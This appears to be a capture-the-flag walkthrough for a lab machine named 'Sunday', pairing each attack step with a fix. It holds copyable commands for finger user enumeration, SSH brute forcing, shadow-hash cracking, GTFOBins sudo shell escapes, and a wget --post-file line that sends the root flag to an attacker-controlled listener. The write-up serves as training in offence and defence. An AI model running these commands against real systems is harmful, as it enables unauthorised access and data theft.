Sunday
Summary
I discovered SSH running on a non-standard port alongside a legacy unauthenticated finger service that freely disclosed local account names. The account 'sunny' used the machine's own hostname as its password, granting an immediate shell.
Filesystem enumeration uncovered a shadow-file backup left world-readable in /backup, exposing a second account's password hash. That hash was cracked offline in seconds against a common wordlist, yielding 'sammy's password.
Sammy held an unrestricted, password-free sudo grant on /usr/bin/wget — a GTFOBins-documented binary — which I exploited to execute arbitrary commands as root. No software vulnerability was involved: the entire chain was weak credentials, an exposed credential backup, and a dangerous sudo rule.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -Pn -p- --min-rate 3000 -T4 $TARGETnmap -Pn -sV -p 22022,79,111,515,6787 $TARGETExact commands 4
finger root@$TARGETfinger sunny@$TARGETfinger sammy@$TARGETfor user in $(cat /usr/share/seclists/Usernames/Names/names.txt); do finger $user@$TARGET 2>/dev/null | grep -i 'login' && echo "FOUND: $user"; doneFixDisable the finger serviceMedium
Exact commands 2
sshpass -p "$PASSWORD" ssh -p 22022 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null sunny@$TARGET 'id; hostname; sudo -l'hydra -l sunny -P /usr/share/wordlists/rockyou.txt -s 22022 ssh://$TARGETFixEnforce strong passwords and eliminate hostname/username-based credentialsCritical
Exact commands 2
sshpass -p "$PASSWORD" ssh -p 22022 sunny@$TARGET 'sudo -l; ls -la /backup/; cat /backup/shadow.backup'find / -name '*.backup' -o -name 'shadow*' 2>/dev/null | xargs ls -la 2>/dev/nullFixRemove world-readable permissions from the shadow backup and restrict all credential backupsCritical
Exact commands 2
john --wordlist=/usr/share/wordlists/rockyou.txt shadow.backuphashcat -m 1800 shadow.backup /usr/share/wordlists/rockyou.txt --forceExact commands 1
sshpass -p '$PASSWORD2' ssh -p 22022 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null sammy@$TARGET 'id; cat /home/sammy/user.txt; sudo -l'Exact commands 3
sshpass -p '$PASSWORD2' ssh -p 22022 sammy@$TARGET 'printf "#!/bin/sh\n/usr/bin/id > /tmp/root_proof\n/bin/cat /root/root.txt >> /tmp/root_proof\n" > /tmp/askroot && chmod +x /tmp/askroot && sudo wget --use-askpass=/tmp/askroot -q 0.0.0.0; cat /tmp/root_proof'nc -lnvp 18080sshpass -p '$PASSWORD2' ssh -p 22022 sammy@$TARGET "sudo /usr/bin/wget --post-file=/root/root.txt http://$ATTACKER_IP:18080/ -O /dev/null"FixRemove wget and all GTFOBins-capable binaries from passwordless sudo grantsCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 22022/tcp | ssh OpenSSH 8.4 (protocol 2.0) |